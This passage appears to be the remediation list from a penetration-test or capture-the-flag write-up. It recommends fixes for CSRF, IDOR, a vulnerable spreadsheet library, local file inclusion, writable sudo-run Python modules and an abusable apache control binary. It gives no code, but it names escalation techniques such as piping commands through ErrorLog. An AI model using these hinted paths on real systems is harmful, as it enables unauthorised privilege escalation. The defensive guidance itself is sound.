  • Implement Robust CSRF and IDOR Protections: Enforce unique, cryptographically secure anti-CSRF tokens for all state-changing endpoints (e.g., notice creation and user modification). Implement proper session validation on all chat endpoints to prevent IDOR access.
  • Sanitize File Conversion Libraries: Update phpoffice/phpspreadsheet to a version that patches CVE-2024-57321. Ensure user-uploaded documents are validated and converted in isolated, sandboxed environments.
  • Remediate Local File Inclusion (LFI): Restrict file inclusions to a strict whitelist of known-safe filenames. Disable dangerous PHP wrapper functionality where possible, and run the web application under a low-privilege service account without terminal execution access.
  • Enforce Write Isolation on Library Modules: Restrict write access to system scripts (e.g., Python scripts inside /opt/scripts) and their sub-modules. The admins group should not have write permissions to libraries executed via sudo by other users.
  • Audit Sudo Configurations: Limit NOPASSWD access to binaries like safeapache2ctl that accept arbitrary configuration files. Thoroughly validate allowed directives to block command-execution vectors such as piping via ErrorLog.
This post is licensed under CC BY 4.0 by the author.